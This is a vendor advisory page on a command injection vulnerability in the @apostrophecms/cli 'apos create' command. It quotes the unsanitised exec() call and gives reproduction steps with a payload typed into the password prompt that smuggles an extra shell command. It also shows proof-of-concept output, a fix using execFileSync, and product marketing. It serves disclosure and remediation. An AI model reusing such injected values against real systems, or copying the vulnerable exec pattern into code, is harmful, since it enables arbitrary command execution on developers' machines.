CVE-2026-42853

CVE-2026-42853 is a medium-severity OS command injection vulnerability in @apostrophecms/cli (npm), affecting versions <= 3.6.0. No fixed version is listed yet.

Summary

The @apostrophecms/cli package contains a command injection vulnerability in the apos create command.
User-supplied input from the password prompt is embedded directly into a shell command without proper sanitization or escaping.
This allows execution of arbitrary commands on the host system.

━━━━━━━━━━━━━━━━━━━━━━

Details

Vulnerable file: lib/commands/create.js
Location: Line 186

The CLI collects a password using an interactive prompt and passes it directly into a shell command.

Vulnerable code:

const response = await prompts({
type: 'password',
name: 'pw',
message: '🔏 Please enter a password:'
});

exec(echo "${response.pw}" | ${createUserCommand});

The value of response.pw is not validated, sanitized, or escaped before being used in exec().

This allows shell metacharacters such as ;, &&, and $() to break out of the intended command and execute arbitrary commands.

━━━━━━━━━━━━━━━━━━━━━━

Steps to Reproduce

  1. Install the CLI
    npm install -g @apostrophecms/cli
  2. Create a new project
    mkdir testproject && cd testproject
    apos create mysite
    3)When prompted for the admin password, enter
    "; id > /tmp/apos_rce_proof.txt; echo "
    4)Verify command execution
    cat /tmp/apos_rce_proof.txt

━━━━━━━━━━━━━━━━━━━━━━

Proof of Concept Output

uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),27(sudo),984(docker)

This confirms arbitrary command execution with the privileges of the user running the CLI.

━━━━━━━━━━━━━━━━━━━━━━

Affected Version

All current versions of @apostrophecms/cli

━━━━━━━━━━━━━━━━━━━━━━

Tested On

Ubuntu 22.04
Node.js v18.19.1

━━━━━━━━━━━━━━━━━━━━━━

CWE

CWE-78, Improper Neutralization of Special Elements used in an OS Command

━━━━━━━━━━━━━━━━━━━━━━

Impact

Arbitrary command execution on the developer’s machine
Execution occurs with the privileges of the user running the CLI

This can lead to:

File modification or deletion
Credential exposure
System compromise depending on user privileges

An attacker can exploit this by influencing the password input (for example, through social engineering, malicious documentation, or compromised automation scripts).

The proof-of-concept shows execution under a user belonging to privileged groups such as sudo and docker, which may allow further privilege escalation depending on system configuration.

━━━━━━━━━━━━━━━━━━━━━━

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-42853 has a CVSS score of 6.5 (Medium). The vector is requires local access, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

@apostrophecms/cli (<= 3.6.0)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Avoid using exec() with user-controlled input.

Use execFile() instead:

const { execFileSync } = require('child_process');

execFileSync('node', [appJsPath, userTask, 'admin', 'admin'], {
input: response.pw + '\n'
});

━━━━━━━━━━━━━━━━━━━━━━

Frequently Asked Questions

  1. What is CVE-2026-42853? CVE-2026-42853 is a medium-severity OS command injection vulnerability in @apostrophecms/cli (npm), affecting versions <= 3.6.0. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is CVE-2026-42853? CVE-2026-42853 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @apostrophecms/cli are affected by CVE-2026-42853? @apostrophecms/cli (npm) versions <= 3.6.0 is affected.
  4. Is there a fix for CVE-2026-42853? No fixed version is listed for CVE-2026-42853 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-42853 exploitable, and should I be worried? Whether CVE-2026-42853 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-42853 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-42853? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.

Other vulnerabilities in @apostrophecms/cli

Stop the waste.
Protect your environment with Kodem.